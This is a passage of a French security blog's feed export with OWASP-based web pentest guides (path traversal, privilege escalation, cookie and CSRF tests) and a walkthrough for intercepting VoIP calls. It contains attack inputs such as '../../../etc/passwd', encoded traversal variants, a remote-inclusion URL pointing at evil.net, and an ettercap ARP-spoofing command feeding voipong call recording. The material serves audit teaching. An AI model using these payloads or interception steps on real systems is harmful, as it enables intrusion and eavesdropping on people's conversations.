/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - AZ-001 : Traverse de répertoires&lt;/u&gt; (ou "&lt;span style="font-style: italic;"&gt;Path Traversal&lt;/span&gt;")&lt;br /&gt;&lt;br /&gt;Nous allons mener cette attaque en deux étapes :&lt;br /&gt;&lt;br /&gt;1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "&lt;span style="font-family: courier new;"&gt;=&lt;/span&gt;").&lt;br /&gt;2/ Tester l'attaque dont voici quelques exemples :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;dot dot slash attack. Ex : &lt;span style="font-family: courier new;"&gt;../../../etc/passwd&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;injecter une URL malicieuse dans une URL de l'application. Ex : &lt;span style="font-family: courier new;"&gt;http://www.cible.php?page=http://evil.net/script_malicieux&lt;/span&gt;&lt;/li&gt;&lt;li&gt;tenter de dévoiler le code source d'une partie de l'application. Ex : &lt;span style="font-family: courier new;"&gt;http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: courier new;"&gt;../&lt;/span&gt; s'écrit aussi &lt;span style="font-family: courier new;"&gt;%2e%2e%2f&lt;/span&gt; ou encore &lt;span style="font-family: courier new;"&gt;..%c0%af&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: courier new;"&gt;..\&lt;/span&gt; s'écrit aussi &lt;span style="font-family: courier new;"&gt;%2e%2e%5c&lt;/span&gt; ou &lt;span style="font-family: courier new;"&gt;%252e%252e%255c&lt;/span&gt; ou encore &lt;span style="font-family: courier new;"&gt;..%c1%9c&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: courier new;"&gt;include()&lt;/span&gt; en PHP ; &lt;/li&gt;&lt;li&gt;&lt;span style="font-family: courier new;"&gt;java.io.file()&lt;/span&gt; en JSP.&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;&lt;br /&gt;2.2 - AZ-002 : Contournement des autoriations&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?&lt;/li&gt;&lt;li&gt;Est-il possible d'accéder à une ressource administrative avec un compte standard ?&lt;/li&gt;&lt;li&gt;Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?&lt;/li&gt;&lt;li&gt;Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.3 - AZ-003 : Escalade de privilèges&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;&lt;/li&gt;&lt;li&gt;L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).&lt;/li&gt;&lt;/ul&gt;Les tests se font de la manière suivante :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;&lt;/li&gt;&lt;li&gt;modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?&lt;/li&gt;&lt;/ul&gt;Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : &lt;span style="font-family: courier new;"&gt;Session-ID=3-adebadbcaf85cc43+adfg32+56defc&lt;/span&gt;, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;La suite au prochain épisode ...&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3139026113783922941?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3139026113783922941/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3139026113783922941' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3139026113783922941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3139026113783922941'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/02/standard-owasp-episode-5.html' title='[STANDARD] OWASP - Episode 5'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-8453335761344615923</id><published>2009-02-23T13:17:00.000-08:00</published><updated>2009-02-23T14:33:42.146-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 4</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous abordons ici la troisième phase des tests actifs. Ils concernent la gestion des sessions à travers les cookies. De nombreux paramètres peuvent être testés. Etant donné qu'une mauvaise implémentation peut permettre l'obtention d'une session à un attaquant, nous voyons de suite l'intérêt de ce sujet.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Ce post est le quatrième d'une série de dix. Chaque "épisode" aborde un chapitre de la norme OWASP, version 3. Le but est de mener le test d'intrusion d'une application WEB méthodologiquement. Le post présent fait référence au chapitre 4.5 de la norme, nommé "&lt;span style="font-style: italic;"&gt;Session Management&lt;/span&gt;". Pour la partie théorique, voir l'&lt;a href="http://en.wikipedia.org/wiki/HTTP_cookie"&gt;article&lt;/a&gt; sur Wikipedia en anglais très intéressant. Pour le côté pratique, il est recommandé d'effectuer tous ces tests à l'aide d'un proxy local pour intercepter et rejouer les requêtes HTTP.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 3 : tests sur &lt;span style="font-style: italic;"&gt;la gestion des sessions à travers les cookies&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - SM-001 : Structure des cookies&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Ce premier point est en fait une prise d'information sur la façon dont sont créés et utilisés les cookies. Mieux comprendre le fonctionnement permet au moins de mieux préparer les attaques qui suivent et au mieux de trouver de premières vulnérabilités.&lt;br /&gt;&lt;br /&gt;1/ Ouvrir un certain nombre de sessions faisant intervenir les cookies à analyser (NB : il est possible de s'aider d'un outil comme &lt;a href="http://www.foundstone.com/us/resources/proddesc/cookiedigger.htm"&gt;&lt;span style="font-style: italic;"&gt;Cookie Digger&lt;/span&gt;&lt;/a&gt; pour les étapes qui suivent).&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Combien de cookies sont générés pour ouvrir une session ? Quand ? Comment ? Sont-ils modifiés dans le cadre de la session ?&lt;/li&gt;&lt;li&gt;Les cookies eux-mêmes révèlent-ils des informations intéressantes ? (notamment le Session ID)&lt;/li&gt;&lt;li&gt;Les données contenues dans les cookies sont-elles chiffrées ? Si oui, l'algorithme utilisé est-il fiable ?&lt;/li&gt;&lt;li&gt;La génération des Sessions ID est-elle prédictible ou réellement aléatoire ? &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;2/ Reverse engineering des cookies.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Est-il possible de créer un cookie valide ?&lt;/li&gt;&lt;li&gt;Est-il possible de modifier un paramètre contenu dans le cookie ? (ex : &lt;span style="font-family:courier new;"&gt;Admin=No&lt;/span&gt; que l'on changerait en &lt;span style="font-family:courier new;"&gt;Admin=Yes&lt;/span&gt;).&lt;/li&gt;&lt;li&gt;Que se passe-t-il en cas de modification du cookie ? (suppression / remplacement ou ajout de caractères) ?&lt;/li&gt;&lt;li&gt;Quels est l'ensemble des caractères utilisés ?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;3/ Manipulation des cookies.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;L'ID est-il présent en clair ?&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Sinon, peut-il être deviné ? (ex : algorithme trop simple)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Sinon, est-il résistant aux attaques de type &lt;span style="font-style: italic;"&gt;Brute-Force&lt;/span&gt; ? (NB : cf. &lt;span style="font-style: italic;"&gt;Cookie Digger&lt;/span&gt;)&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;u&gt;2.2 - SM-002 : Les attributs des cookies&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Les cookies les plus critiques doivent comporter un certain nombre de flags et ceux-ci doivent être correctement configurés :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le flag &lt;span style="font-family:courier new;"&gt;secure &lt;/span&gt;(impose la transmission via un tunnel chiffré comme SSL) ;&lt;/li&gt;&lt;li&gt;Le flag &lt;span style="font-family:courier new;"&gt;HTTP-Only&lt;/span&gt; (pour se prémunir contre certaines attaques de type XSS) ;&lt;/li&gt;&lt;li&gt;Le flag &lt;span style="font-family:courier new;"&gt;Domain&lt;/span&gt; doit être présent et le plus précis possible ;&lt;/li&gt;&lt;li&gt;De même pour le flag &lt;span style="font-family:courier new;"&gt;Path &lt;/span&gt;(i.e. différent de "&lt;span style="font-family:courier new;"&gt;/&lt;/span&gt;") ;&lt;/li&gt;&lt;li&gt;De même pour le flag &lt;span style="font-family:courier new;"&gt;expires &lt;/span&gt;doit être configuré pour éviter le rejeu.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SaMd-4ig95I/AAAAAAAAAfE/1l1dkNAe-jk/s1600-h/cookie+attributs.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 78px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SaMd-4ig95I/AAAAAAAAAfE/1l1dkNAe-jk/s400/cookie+attributs.JPG" alt="" id="BLOGGER_PHOTO_ID_5306117752138823570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;2.3 - SM-003 : Fixation des cookies&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Admettons qu'un même cookie puisse être réutilisé pour ouvrir une session, le récupérer d'une manière ou d'une autre donne un accès, voir l'accès d'un autre utilisateur.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Il suffit de générer un cookie via une requête GET sur le site cible.&lt;/li&gt;&lt;li&gt;Ensuite, on réutilise ce cookie avec une requête POST.&lt;/li&gt;&lt;/ul&gt;Par exemple, faites un GET sur le site blogspot.com :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;telnet www.blogspot.com 80&lt;br /&gt;GET / HTTP/1.0&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Ces opérations peuvent être effectuées via un proxy local (&lt;span style="font-style: italic;"&gt;Burp&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Paros&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Webscarab&lt;/span&gt;, ...).&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;u&gt;2.4 - SM-004 : Exposition des variables (cookie, session-ID, ...)&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;1/ Tenter de se connecter via un session HTTP. Les cookies sont-ils systématiquement générés via un protocole chiffré ? (e. g. HTTPS). La partie authentifiante est-elle renouvelée à chaque authentification ? Sinon, il y a un risque de rejeu...&lt;br /&gt;&lt;br /&gt;2/  La version 1.1 du protocole HTTP est-elle implémentée ? Elle permet l'interprétation de l'attribut &lt;span style="font-family:courier new;"&gt;cache &lt;/span&gt;avec l'argument &lt;span style="font-family:courier new;"&gt;no-cache&lt;/span&gt; évite la réutilisation du cookie (cf. image ci-dessus).&lt;br /&gt;&lt;br /&gt;3/ La génération des cookies se fait-elle à travers la méthode &lt;span style="font-family:courier new;"&gt;POST &lt;/span&gt;? Cette dernière est moins vulnérables que la méthode &lt;span style="font-family:courier new;"&gt;GET&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.5 - SM-005 : Attaque CSRF&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Ce post n'a pas pour ut d'expliquer cette attaque en détail mais le lecteur curieux trouvera des &lt;a href="http://fr.wikipedia.org/wiki/Cross-Site_Request_Forgeries"&gt;informations&lt;/a&gt; sur le site Wikipedia de nouveau.&lt;br /&gt;Le test peut être mener en cinq étapes :&lt;br /&gt;&lt;br /&gt;1/ Trouver une URL valide qui lance l'action souhaitée (ex : &lt;span style="font-style: italic;"&gt;www.cible.com/administrative_task&lt;/span&gt;) ;&lt;br /&gt;2/ Créer une page HTML contenant cette URL (lien HTTP, image, ...) ;&lt;br /&gt;3/ Assurez-vous que l'utilisateur est actuellement loggé à l'application (et donc que sa session est ouverte) ;&lt;br /&gt;4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien (1/) présent sur votre page (2/) ;&lt;br /&gt;5/ Vérifier que la commande a bien été exécutée.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Le but est donc que la commande que vous souhaitez exécuter le soit par l'utilisateur lui-même avec sa session quand vous n'avez pas les accès nécessaires.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;La suite au prochain épisode ...&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-8453335761344615923?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/8453335761344615923/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=8453335761344615923' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8453335761344615923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8453335761344615923'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/02/standard-owasp-episode-4.html' title='[STANDARD] OWASP - Episode 4'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/SaMd-4ig95I/AAAAAAAAAfE/1l1dkNAe-jk/s72-c/cookie+attributs.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-5150596781348094396</id><published>2009-02-01T02:38:00.001-08:00</published><updated>2009-02-09T10:52:54.492-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTESTING] VoIP Hacking</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;La VoIP est depuis quelques années déjà une partie intégrante du SI. Elle est considérée comme un point sensible car les conversations permettent de révéler des informations importantes et surtout, peuvent porter à la vie privée des employés. Nous allons donc voir ici, d'un point de vue technique, quelle est la manière de récupérer des conversations.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Il est important de noter que le cas présenté ici est simple. En effet, nous considérons que tous les composants de notre attaque (passerelle VoIP + machines victimes + machine d'audit) sont dans le même réseaux ou dans des réseaux non cloisonnés.&lt;br /&gt;Aussi, les flux ne sont pas chiffrés et l'authentification inexistante. Cependant, c'est un cas tout à fait réaliste dans le sens où c'est ce que nous pourrions trouver dans une entreprise qui a laissé les paramétrages par défaut.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Localisation des éléments clés&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Notre interception de trafic repose sur le sniff entre la passerelle VoIP et le routeur le plus proche de la machine d'audit (ici). Ensuite, nous devons accompagner ce sniff par une attaque de type &lt;span style="font-style: italic;"&gt;Man-in-the-Middle&lt;/span&gt;. Nous devrions alors récupérer un tas de choses intéressantes...&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.1 - Localisation du routeur le plus proche&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous effectuons tout simplement un &lt;span style="font-family:courier new;"&gt;traceroute &lt;/span&gt;pour trouver le routeur en question (ce que nous pourrons vérifier par des moyens simples (ifconfig / requête SNMP / ...) :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SYWe5z3h3LI/AAAAAAAAAeE/5aizkoT1pss/s1600-h/traceroute.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 97px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SYWe5z3h3LI/AAAAAAAAAeE/5aizkoT1pss/s400/traceroute.JPG" alt="" id="BLOGGER_PHOTO_ID_5297815252684102834" border="0" /&gt;&lt;/a&gt;L'adresse de notre routeur est donc : &lt;span style="font-weight: bold;"&gt;10.xxx.yyy.2&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2 - Localisation de notre passerelle VoIP&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous utilisons l'outil &lt;span style="font-family:courier new;"&gt;smap &lt;/span&gt;qui permet de trouver les éléments actifs sur le port 5060 (SIP).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;smap 10.xxx.zzz.0/24&lt;/blockquote&gt;&lt;br /&gt;Nous détectons ainsi la passerelle comme le montre le screenshot suivant :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWkjn698BI/AAAAAAAAAeM/wr0DGLqY9QY/s1600-h/smap1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 289px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWkjn698BI/AAAAAAAAAeM/wr0DGLqY9QY/s400/smap1.JPG" alt="" id="BLOGGER_PHOTO_ID_5297821468589944850" border="0" /&gt;&lt;/a&gt;L'adresse de notre passerelle VoIP est donc : &lt;span style="font-weight: bold;"&gt;10.xxx.zzz.130&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Pour vérification et avoir plus d'information sur ma machine repérée, nous lançons &lt;span style="font-family:courier new;"&gt;smap &lt;/span&gt;avec l'option &lt;span style="font-family:courier new;"&gt;-o&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;smap -o 10.xxx.zzz.130&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWlSlMBa_I/AAAAAAAAAeU/SXTbtM7YIjI/s1600-h/smap3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 158px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWlSlMBa_I/AAAAAAAAAeU/SXTbtM7YIjI/s400/smap3.JPG" alt="" id="BLOGGER_PHOTO_ID_5297822275310021618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Interception du trafic&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nous mettons en œuvre cette fois l'attaque &lt;span style="font-style: italic;"&gt;Man-in-the-Middle&lt;/span&gt; à l'aide de l'outil &lt;span style="font-family:courier new;"&gt;Ettercap&lt;/span&gt;. Puisque cette attaque est bien connue et déjà expliquée sur ce blog, nous n'entrerons pas dans les détails ici. Sinon, voir [&lt;a href="http://mission-security.blogspot.com/2008/11/web-pentesting-ssl-capture-password.html"&gt;post&lt;/a&gt;, point 3.2] [&lt;a href="http://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu"&gt;wikipedia&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;Nous lançons la commande :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ettercap -Tqi eth0 -M arp /10.xxx.zzz.130/ /10.xxx.yyy.2/&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SYWmhP4it7I/AAAAAAAAAec/Z8nDFa12p-4/s1600-h/ettercap.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 288px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SYWmhP4it7I/AAAAAAAAAec/Z8nDFa12p-4/s400/ettercap.JPG" alt="" id="BLOGGER_PHOTO_ID_5297823626800838578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;4 - Capture et enregistrement des conversations&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pour réussir cette dernière étape, nous utilisons deux outils disponibles notamment sur la backtrack 3 :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;voipong&lt;/li&gt;&lt;li&gt;voipctl&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;4.1 - Un peu de configuration&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Pour donner l'adresse du réseau audité, aller dans le fichier de configuration voipongnets.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cd /usr/local/etc/voipong&lt;br /&gt;vi voipongnets&lt;/blockquote&gt;&lt;br /&gt;Vous trouverez seulement deux lignes. Ici, notamment sur la deuxième ligne, mettez le sous réseau audité. Si ça ne marche pas, faites de même sur la première ligne.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SYWoS4qCLvI/AAAAAAAAAek/ieokGfBPAYs/s1600-h/voipngnets_confg.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 36px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SYWoS4qCLvI/AAAAAAAAAek/ieokGfBPAYs/s400/voipngnets_confg.JPG" alt="" id="BLOGGER_PHOTO_ID_5297825579071057650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;4.2 - Lancement des outils&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Tout simplement, nous lançons voipong ...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SYWo6w453KI/AAAAAAAAAes/swG1KVgrsgg/s1600-h/voipong.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 50px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SYWo6w453KI/AAAAAAAAAes/swG1KVgrsgg/s400/voipong.JPG" alt="" id="BLOGGER_PHOTO_ID_5297826264180710562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;... puis voipctl&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWpIQ6aT4I/AAAAAAAAAe0/3RiS1a8CDNw/s1600-h/voipctl.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 393px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SYWpIQ6aT4I/AAAAAAAAAe0/3RiS1a8CDNw/s400/voipctl.JPG" alt="" id="BLOGGER_PHOTO_ID_5297826496115265410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;4.3 - Écoutez !&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Il ne vous reste plus qu'à récupérer les fichiers audio enregistrés (voir le fichier de configuration de voipong pour connaître le répertoire de destination) et à lancer votre lecteur audio préféré.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SYWps9IevvI/AAAAAAAAAe8/WGU4smcgvwU/s1600-h/results.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 289px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SYWps9IevvI/AAAAAAAAAe8/WGU4smcgvwU/s400/results.JPG" alt="" id="BLOGGER_PHOTO_ID_5297827126460727026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Have fun! ;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-5150596781348094396?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/5150596781348094396/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=5150596781348094396' title='6 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/5150596781348094396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/5150596781348094396'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/02/pentesting-voip-hacking.html' title='[PENTESTING] VoIP Hacking'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_BhVyBIyY5_8/SYWe5z3h3LI/AAAAAAAAAeE/5aizkoT1pss/s72-c/traceroute.JPG' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6803353854383047069</id><published>2009-01-09T14:10:00.000-08:00</published><updated>2009-02-10T11:48:01.934-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 3</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous continuons les tests actifs avec cette deuxième phase. Elle traite des tests sur le système d'authentification. Ce point est très important puisqu'il permet d'obtenir des escalades de privilèges et/ou des accès illégitimes s'il 